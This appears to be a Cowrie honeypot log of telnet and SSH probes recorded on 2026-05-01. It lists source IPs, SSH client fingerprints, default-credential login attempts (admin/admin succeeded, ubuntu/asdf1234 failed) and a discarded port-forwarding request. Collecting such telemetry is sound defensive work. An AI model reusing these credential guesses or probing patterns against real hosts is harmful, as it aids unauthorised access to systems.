{"eventid":"cowrie.session.closed","duration":30.733439445495605,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:14:53.088640Z","src_ip":"213.129.84.225","session":"761e7bec9822","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.851325750350952,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:14:54.528508Z","src_ip":"213.129.84.225","session":"ad6f4ef44890","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.7885684967041,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:14:55.058892Z","src_ip":"213.129.84.225","session":"95e06703e2f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":57984,"dst_ip":"159.203.135.109","dst_port":23,"session":"5bb4d97a72be","protocol":"telnet","message":"New connection: 213.129.84.225:57984 (159.203.135.109:23) [session: 5bb4d97a72be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:14:55.234075Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":33647,"dst_ip":"159.203.135.109","dst_port":23,"session":"acffefb1dbc7","protocol":"telnet","message":"New connection: 213.129.84.225:33647 (159.203.135.109:23) [session: acffefb1dbc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:14:56.184893Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":37534,"dst_ip":"159.203.135.109","dst_port":23,"session":"2f5f48923c4a","protocol":"telnet","message":"New connection: 213.129.84.225:37534 (159.203.135.109:23) [session: 2f5f48923c4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:14:57.202764Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":38288,"dst_ip":"159.203.135.109","dst_port":23,"session":"2da193525644","protocol":"telnet","message":"New connection: 213.129.84.225:38288 (159.203.135.109:23) [session: 2da193525644]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:14:57.365186Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":39516,"dst_ip":"159.203.135.109","dst_port":23,"session":"4b7e25144e87","protocol":"telnet","message":"New connection: 213.129.84.225:39516 (159.203.135.109:23) [session: 4b7e25144e87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:14:57.702162Z"}
{"eventid":"cowrie.session.closed","duration":31.08692765235901,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:14:59.075813Z","src_ip":"213.129.84.225","session":"f91921ea2c44","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.34499549865723,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:14:59.101215Z","src_ip":"137.184.155.248","session":"2787225907a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":45656,"dst_ip":"159.203.135.109","dst_port":23,"session":"133726a1b33d","protocol":"telnet","message":"New connection: 213.129.84.225:45656 (159.203.135.109:23) [session: 133726a1b33d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:14:59.184789Z"}
{"eventid":"cowrie.session.closed","duration":48.29154396057129,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:14:59.700538Z","src_ip":"137.184.155.248","session":"723e5189ecbf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":41368,"dst_ip":"159.203.135.109","dst_port":23,"session":"040d0eca34dc","protocol":"telnet","message":"New connection: 213.129.84.225:41368 (159.203.135.109:23) [session: 040d0eca34dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:00.170602Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":50230,"dst_ip":"159.203.135.109","dst_port":23,"session":"920271d71645","protocol":"telnet","message":"New connection: 213.129.84.225:50230 (159.203.135.109:23) [session: 920271d71645]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:00.230663Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":45834,"dst_ip":"10.17.0.5","dst_port":23,"session":"df992caaa32b","protocol":"telnet","message":"New connection: 137.184.155.248:45834 (10.17.0.5:23) [session: df992caaa32b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:00.706503Z"}
{"eventid":"cowrie.session.closed","duration":30.574190616607666,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:01.038985Z","src_ip":"213.129.84.225","session":"c1fb891d76e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":53997,"dst_ip":"159.203.135.109","dst_port":23,"session":"28c308b94f69","protocol":"telnet","message":"New connection: 213.129.84.225:53997 (159.203.135.109:23) [session: 28c308b94f69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:01.177823Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":17690,"dst_ip":"10.17.0.5","dst_port":22,"session":"5a7c3ac57a86","protocol":"ssh","message":"New connection: 87.251.64.176:17690 (10.17.0.5:22) [session: 5a7c3ac57a86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:01.349290Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:01.355238Z","src_ip":"87.251.64.176","session":"5a7c3ac57a86","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:01.452908Z","src_ip":"87.251.64.176","session":"5a7c3ac57a86","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:01.749912Z","src_ip":"87.251.64.176","session":"5a7c3ac57a86","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:01.850211Z","session":"5a7c3ac57a86","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:01.949088Z","src_ip":"87.251.64.176","session":"5a7c3ac57a86","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":58784,"dst_ip":"159.203.135.109","dst_port":23,"session":"088edeaf388c","protocol":"telnet","message":"New connection: 213.129.84.225:58784 (159.203.135.109:23) [session: 088edeaf388c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:02.175986Z"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:02.187136Z","src_ip":"87.251.64.176","session":"5a7c3ac57a86","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":59444,"dst_ip":"159.203.135.109","dst_port":23,"session":"998b911895d8","protocol":"telnet","message":"New connection: 213.129.84.225:59444 (159.203.135.109:23) [session: 998b911895d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:02.307539Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.148.4.7","src_port":56338,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c98a3589667","protocol":"telnet","message":"New connection: 207.148.4.7:56338 (159.203.135.109:23) [session: 0c98a3589667]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:04.266590Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":52858,"dst_ip":"159.203.135.109","dst_port":23,"session":"b80625e800fc","protocol":"telnet","message":"New connection: 213.129.84.225:52858 (159.203.135.109:23) [session: b80625e800fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:04.910697Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":43246,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a8658615f87","protocol":"telnet","message":"New connection: 213.129.84.225:43246 (159.203.135.109:23) [session: 6a8658615f87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:04.954208Z"}
{"eventid":"cowrie.session.closed","duration":30.807799339294434,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:06.047924Z","src_ip":"213.129.84.225","session":"23c8c1d5c08a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":51628,"dst_ip":"159.203.135.109","dst_port":23,"session":"50d4f0c2ca2a","protocol":"telnet","message":"New connection: 213.129.84.225:51628 (159.203.135.109:23) [session: 50d4f0c2ca2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:06.660584Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":58088,"dst_ip":"159.203.135.109","dst_port":23,"session":"f02fb16e256c","protocol":"telnet","message":"New connection: 213.129.84.225:58088 (159.203.135.109:23) [session: f02fb16e256c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:08.039577Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":59628,"dst_ip":"159.203.135.109","dst_port":23,"session":"c3db4cbf42e8","protocol":"telnet","message":"New connection: 213.129.84.225:59628 (159.203.135.109:23) [session: c3db4cbf42e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:08.406667Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":56262,"dst_ip":"159.203.135.109","dst_port":23,"session":"de391df82375","protocol":"telnet","message":"New connection: 213.129.84.225:56262 (159.203.135.109:23) [session: de391df82375]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:08.591607Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":35164,"dst_ip":"159.203.135.109","dst_port":23,"session":"f91bcf51f3ee","protocol":"telnet","message":"New connection: 213.129.84.225:35164 (159.203.135.109:23) [session: f91bcf51f3ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:09.343091Z"}
{"eventid":"cowrie.session.closed","duration":30.724959135055542,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:09.395139Z","src_ip":"213.129.84.225","session":"e4789e587f84","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"61.155.106.101","src_port":34850,"dst_ip":"10.17.0.5","dst_port":22,"session":"55cdc83940e9","protocol":"ssh","message":"New connection: 61.155.106.101:34850 (10.17.0.5:22) [session: 55cdc83940e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:10.256462Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:10.261809Z","src_ip":"61.155.106.101","session":"55cdc83940e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":40296,"dst_ip":"159.203.135.109","dst_port":23,"session":"38d7a7bf6cfb","protocol":"telnet","message":"New connection: 213.129.84.225:40296 (159.203.135.109:23) [session: 38d7a7bf6cfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:10.489052Z"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:10.517406Z","src_ip":"61.155.106.101","session":"55cdc83940e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.23123860359192,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:10.754752Z","src_ip":"213.129.84.225","session":"707cd17ffda0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.773808479309082,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:11.055876Z","src_ip":"213.129.84.225","session":"281fdb080b5b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"asdf1234","message":"login attempt [ubuntu/asdf1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:11.543749Z","src_ip":"61.155.106.101","session":"55cdc83940e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":42480,"dst_ip":"159.203.135.109","dst_port":23,"session":"25fa565a3a57","protocol":"telnet","message":"New connection: 213.129.84.225:42480 (159.203.135.109:23) [session: 25fa565a3a57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:11.988914Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":47784,"dst_ip":"159.203.135.109","dst_port":23,"session":"006db6b735d7","protocol":"telnet","message":"New connection: 213.129.84.225:47784 (159.203.135.109:23) [session: 006db6b735d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:12.189970Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:12.816990Z","src_ip":"61.155.106.101","session":"55cdc83940e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.6721134185791,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:14.857894Z","src_ip":"213.129.84.225","session":"2fcef310b313","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":51318,"dst_ip":"10.17.0.5","dst_port":22,"session":"cc45485a1319","protocol":"ssh","message":"New connection: 194.59.206.2:51318 (10.17.0.5:22) [session: cc45485a1319]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:14.863044Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":59428,"dst_ip":"159.203.135.109","dst_port":23,"session":"c9caa33556e4","protocol":"telnet","message":"New connection: 213.129.84.225:59428 (159.203.135.109:23) [session: c9caa33556e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:15.466168Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:15.504866Z","src_ip":"194.59.206.2","session":"cc45485a1319","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:15.509897Z","src_ip":"194.59.206.2","session":"cc45485a1319","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":58258,"dst_ip":"159.203.135.109","dst_port":23,"session":"1dfbb29f49ee","protocol":"telnet","message":"New connection: 213.129.84.225:58258 (159.203.135.109:23) [session: 1dfbb29f49ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:15.539528Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:16.399037Z","src_ip":"194.59.206.2","session":"cc45485a1319","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":39310,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d99d845757c","protocol":"telnet","message":"New connection: 213.129.84.225:39310 (159.203.135.109:23) [session: 1d99d845757c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:16.675479Z"}
{"eventid":"cowrie.session.closed","duration":30.703572511672974,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:17.179630Z","src_ip":"213.129.84.225","session":"ac78b669c8b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":41568,"dst_ip":"159.203.135.109","dst_port":23,"session":"0f8324a557a5","protocol":"telnet","message":"New connection: 213.129.84.225:41568 (159.203.135.109:23) [session: 0f8324a557a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:17.199211Z"}
{"eventid":"cowrie.session.closed","duration":44.87500047683716,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:17.748875Z","src_ip":"137.184.155.248","session":"c8d17b09ec67","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.3688747882843,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:18.056761Z","src_ip":"213.129.84.225","session":"7cc8ca132d38","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":42236,"dst_ip":"159.203.135.109","dst_port":23,"session":"564f9c211445","protocol":"telnet","message":"New connection: 213.129.84.225:42236 (159.203.135.109:23) [session: 564f9c211445]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:18.341707Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":48096,"dst_ip":"159.203.135.109","dst_port":23,"session":"fefe5979edd9","protocol":"telnet","message":"New connection: 213.129.84.225:48096 (159.203.135.109:23) [session: fefe5979edd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:18.694437Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":42940,"dst_ip":"159.203.135.109","dst_port":23,"session":"0e57485276fb","protocol":"telnet","message":"New connection: 213.129.84.225:42940 (159.203.135.109:23) [session: 0e57485276fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:19.496965Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":50204,"dst_ip":"159.203.135.109","dst_port":23,"session":"397f159f518e","protocol":"telnet","message":"New connection: 213.129.84.225:50204 (159.203.135.109:23) [session: 397f159f518e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:20.183576Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":55050,"dst_ip":"159.203.135.109","dst_port":23,"session":"70f87658d01b","protocol":"telnet","message":"New connection: 213.129.84.225:55050 (159.203.135.109:23) [session: 70f87658d01b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:20.288603Z"}
{"eventid":"cowrie.session.closed","duration":43.747647523880005,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:21.840725Z","src_ip":"137.184.155.248","session":"615fc3252c23","protocol":"telnet"}
